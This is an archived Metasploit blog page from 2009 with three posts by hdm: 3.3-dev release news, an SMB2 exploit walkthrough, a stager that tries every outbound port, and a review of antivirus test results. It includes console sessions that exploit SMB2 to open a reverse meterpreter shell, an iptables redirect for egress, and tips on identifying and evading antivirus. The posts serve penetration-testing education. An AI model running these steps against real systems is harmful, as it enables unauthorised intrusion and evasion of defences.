Skip navigation
All Places > Metasploit > Blog > 2009 > September
2009

Originally Posted by hdm

 

 

The last 48 hours has been a whirlwind of development at the Metasploit Project as we prepare for the 3.3 stable release. Efrain Torres completed the screenshot feature of the espia Metepreter module. This command only works when the process meterpreter is executing inside has access to the active desktop (like explorer.exe). You can see an example of this below:

 

meterpreter > ps

 

Process list
============
    PID Name Path
    --- ---- ----
    204   iexplore.exe       C:\Program Files\Internet Explorer\iexplore.exe
    [ snipped ]
    1736  Explorer.EXE       C:\WINDOWS\Explorer.EXE
    3348  sol.exe            C:\WINDOWS\system32\sol.exe

 

meterpreter > migrate 1736
[*] Migrating to 1736...
[*] Migration completed successfully.

 

meterpreter > screenshot /tmp/boom.bmp
[*] Image saved to /tmp/boom.bmp
Opening browser to image.

 

undefined

 

This morning Stephen Fewer released his long-awaited SMB2 code execution module for the Metasploit Framework. He plans to publish a whitepaper in the near future that discusses the exploit technique and the newly written Vista/2008 ring0 to ring3 stager code. This module is available in the 3.3-dev tree and supports Vista SP1/SP2 and 2008 SP1/SP2 (but not R2) with the same offsets and addresses. Keep in mind that the best workaround for this still-unpatched flaw is to disable the SMB2 protocol. The auxiliary module "auxiliary/scanner/smb/smb2" can be used to scan the network for systems that still have SMB2 enabled (shown below):

 

msf> use auxiliary/scanner/smb/smb2
msf (auxiliary/smb2) > set RHOSTS 192.168.0.0/24
msf (auxiliary/smb2) > set THREADS 100
msf (auxiliary/smb2) > run

 

[*] 192.168.0.142 supports SMB 2 [dialect 2.2] and has been online for 54 hours
[*] 192.168.0.211 supports SMB 2 [dialect 2.2] and has been online for 53 hours

 

When using Metasploit on Windows XP, socket restrictions prevent scanners from working at their full speed. We recommend using anything but XP (2000, Vista, 7) if you need to use the scanning modules inside Metasploit on Windows. Alternatively, boot the BackTrack4 Virtual Machine in VMWare.

 

Now that we have identified two systems with SMB2 enabled, its exploit time!

 

msf> use exploit/windows/smb/smb2_negotiate_func_index
msf (exploit/smb2) > set PAYLOAD windows/meterpreter/reverse_tcp
msf (exploit/smb2) > set LHOST 192.168.0.136
msf (exploit/smb2) > set LPORT 5678
msf (exploit/smb2) > set RHOST 192.168.0.211
msf (exploit/smb2) > exploit

 

[*] Started reverse handler
[*] Connecting to the target (192.168.0.211:445)...
[*] Sending the exploit packet (854 bytes)...
[*] Waiting up to 180 seconds for exploit to trigger...
[*] Sending stage (719360 bytes)
[*] Meterpreter session 2 opened (192.168.0.136:5678 -> 192.168.0.211:49158)

 

meterpreter > sysinfo
Computer: WIN-UAKGQGDWLX2
OS      : Windows 2008 (Build 6001, Service Pack 1).
Arch    : x86
Language: en_US

 

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

 

Voila! A great way to justify disabling SMB2 across your network.

 

Next item of interest -- we are now generating hourly builds of the 3.3-dev tree and making these available for download from the Metasploit web site. These come in two flavors and two sizes. We are offering the 3.3-dev package for Unix systems in both Full and Mini versions. The Mini version removes the SVN directories, many of the development source files, and the msfweb/msfgui interfaces.

 

For the first time, we are offering 3.3-dev packages for Windows (based on Cygwin 1.7 [HEAD]), also in Full and Mini versions. The Windows installer is lightweight and can be installed alongside an existing version of Metasploit. The Windows version can be installed to a USB key and made portable, just by specifying the proper path during the install. Finally, the Windows installer can be made to run in batch mode with a command line like the following:

 

C:\> framework-3.3-dev-mini.exe /S /D=C:\metasploit33dev

 

We would like to make sure everyone is aware of the freely-available Metasploit Unleashed Online Course developed by the Offensive Security team. The Metasploit Project is currently working with the team to expand the breadth and depth of this online course, with help from our own official Metasploit courseware. This course should continue to improve at rapid rate over the next few months.

Originally Posted by hdm

 

 

I was reading a fun blog post by Jason Mansfield about different ways to brute force a connection through a restrictive outbound firewall and realized that this would be trivial to implement in Metasploit and would go nicely with another feature implemented earlier today.

 

The general idea is that many networks block some or all outbound TCP ports from their network. This is a great way to avoid entire classes of client-side attacks and helps discourage employees from using non-authorized network applications. The trouble is, there are always exceptions. It may be that the CEO needs access to a real-time stock trading application or a developer needs access to a database service hosted at an ISP. Over time, holes start to appear in most outbound TCP rulesets and rarely, if ever get closed.

 

During a penetration test, nothing frustrates an auditor like having a working exploit for a target user, but not being able to get an interactive shell. In the case of networks with a restrictive outbound rules, the process of finding an allowed outbound port, or blindly installing some form of tunneling software, is time better spent cracking passwords and writing reports. Creating shellcode that can try multiple ports isn't all that hard, but doing so while keeping the size down and handling errors properly is another story.

 

Unfortunately, on the Windows platform, the connect() call will always wait for the system default timeout, unless the socket is in non-blocking mode. We could switch the socket to non-blocking, call select(), check the result, loop, and switch it back to blocking, but this would require a large amount of code, making the payload less useful for exploits that can only hold small amounts of shellcode. The payload can take so long to crawl its way up to the allowed port that the exploit module gives up and shuts down the listener. This is where the other new feature comes into play.

 

One often-requested feature is the ability to disable the builtin payload handler code for a particular module in the Metasploit Framework. This would allow the security auditor to launch exploits from one system, but receive the sessions and interact with them on another (using the exploit/multi/handler module on the receiving system). This feature would also allow a long-term, persistent listener (again, through exploit/multi/handler) to wait for a payload that tried all ports.

 

The new payload stager (windows/*/reverse_tcp_allports) accepts the LPORT variable as a starting port, tries to connect to the host specified by LHOST, and if it fails, bumps the port up by one and starts all over again. In order for the machine located at the LHOST address to handle all connections to all ports, a dedicated (unused) IP address is necessary, along with some iptables (or pf) magic. The following iptables command line will route all incoming TCP connections to any port to port 4444 of the specified IP (A.B.C.D):

 

# iptables -I INPUT -p tcp -m state --state NEW -d  A.B.C.D -j DNAT --to A.B.C.D:4444

 

We now need to setup a listener on the receiving system (A.B.C.D):

 

msf> use exploit/multi/handler
msf (exploit/handler) > set PAYLOAD windows/meterpreter/reverse_tcp_allports
msf (exploit/handler) > set LHOST A.B.C.D
msf (exploit/handler) > set LPORT 4444
msf (exploit/handler) > exploit -j

 

Finally we switch over to the system that is actually generating the attacks. To prevent the payload handler from running on the attacking system, we need to set the DisablePayloadHandler option to 'true':

 

msf (exploit/browser0day) > set PAYLOAD windows/meterpreter/reverse_tcp_allports
msf (exploit/browser0day) > set LHOST A.B.C.D
msf (exploit/browser0day) > set LPORT 1
msf (exploit/browser0day) > set DisablePayloadHandler true
msf (exploit/browser0day) > exploit

 

As clients connect to the attacking system's browser exploit, the payload they receive will try to connect to the receiving system at A.B.C.D, starting on port 1 and going to port 65535 (then repeating). The iptables rule will map any incoming connection to port 4444, which will activate the handler code, stage-load meterpreter, and make the session available to the auditor.

 

Keep in mind that this payload is slow - it can take up to a minute for a blocked port to timeout (its usually much less however) and still a few seconds even when a TCP reset is received. The great thing about splitting the exploit from the handler is that timing no longer matters as much. Even if it takes an hour to find a usable outbound port, the receiving system will still be waiting, while the attacking system can move on to other exploits. Judicious use of the AutoRunScript option for the Metepreter payloads will allow all sorts of actions to take place once the session is established, without requiring an auditor to be waiting on the console.

Originally Posted by hdm

 

 

On Monday, NSS Labs released the results of their anti-malware Endpoint Protection Product tests. The test results are separated into consumer and corporate product lines, with the consumer report available for download from their web site after free registration.

 

The test put each product through a 17-day rolling assessment, where each day the latest updates to the product were applied and a fresh list of malware-serving URLs were processed. This provides a clear view of how these products fare in the real world, and not just against a static list of well-known samples. Each product had two opportunities to block the malware, once during download, and again once it was written to disk and executed by the user. The score for a given product is calculated as the sum of both methods of blocking the sample, for example, if it was missed during download, but caught on execution, it still counts as being blocked. Each of these products also contains an anti-virus engine, which should provide some basic protection for unknown samples, based on heuristics and behavior.

 

The top-ranking product in the consumer test was Trend Micro, which caught a whopping 96.4% of all malware samples, followed by Kaspersky at 87.8%. Most of the major-brand consumer products had an average closer to 80%, with AVG, Panda, and ESET all coming in below the average. These results show that on average, two out of every ten pieces of malware will slip past consumer-grade security solutions. Users who rely on cheaper products like AVG and ESET have an even lower level of protection, while those using Trend are well above the average. The corporate product test results are a bit different (and somewhat surprising, compared to the consumer results), but are only available for a fee from NSS Labs. If you rely on Sophos for your enterprise endpoint security, this report may be worth purchasing.

 

From my own testing with Metasploit-generated payload executables, both Trend and Kaspersky seem to rely on heuristics and behavior more than the other products in the field. For example, this VirusTotal report shows the results of a reverse connect shell generated by the latest version of Metasploit. While two products misclassified the executable as "Win32:Tipa" (due to the read/write/exec section), Trend Micro was the only product to clearly identify the file as "packed" using what looks like an entropy signature. Two McAfee products flagged the file as suspicious, but in most scenarios the file would have been allowed anyways. Unique hashing doesn't work in this case, as the executable is randomized every time it is generated by Metasploit.

 

From a penetration testing perspective, the NSS reports are useful in determining not only how robust a client's endpoint protection is, but what the probability of existing infections are for their workstations. A company using a product on the weaker end of the scale (AVG, ESET, etc) is likely to have a higher chance of botnet agents and credential sniffers.

 

Some easy ways to determine what filtering software is in use at a given organization are to send an email to a bogus address at the domain, solicit an email response from an internal user, or find a sent email archived online -- any of these methods should allow access to the MIME headers, which security products often insert their product name and version into. For example, if we wanted to see what a particular government agency is using, all we have to do is send an email to a bogus address, wait for the bounce reply, and look at the headers:

 

X-IronPort-AV: E=Sophos;i="4.44,431,1249272000";  d="scan'208";a="9936347"

 

This line indicates that Sophos is being used with an IronPort appliance and includes the version number of the product. The "1249272000" value after the version is a UNIX timestamp, which converted to a human-readable date becomes "2009-08-02 23:00:00 -0500". This is likely the date on which the product was last updated. From a penetration testing perspective, we need to find a way to bypass detection of our malware by this version of Sophos in order to reach the endpoint. We still don't know what endpoint software is in use, but we can either guess that it too is Sophos-based, or try to solicit an email response from an internal user and then craft our malware so that it avoids both the gateway and the endpoint product. In most cases, bypassing a specific anti-virus is just a matter of hex-editing a few bytes of the executable.

 

If we rolled back the clock 10 years, I don't believe anyone expected their anti-virus product to become the end-all of desktop and gateway security. However, the popularity of social media sites has triggered a bloom in social-engineering malware attacks, forcing the anti-virus industry to expand its scope. The products that scored the highest results in the consumer report all used cloud-backed signature sets to detect and block malware, removing the normal window of exploitation between signature updates. The disparity between vendors is surprising, considering the age of the anti-virus industry and the relatively equivalent price points. Penetration testers and system administrators both need to be aware of the strengths and weaknesses of the technology as well as specific products on the market.

Filter Blog

By date: By tag: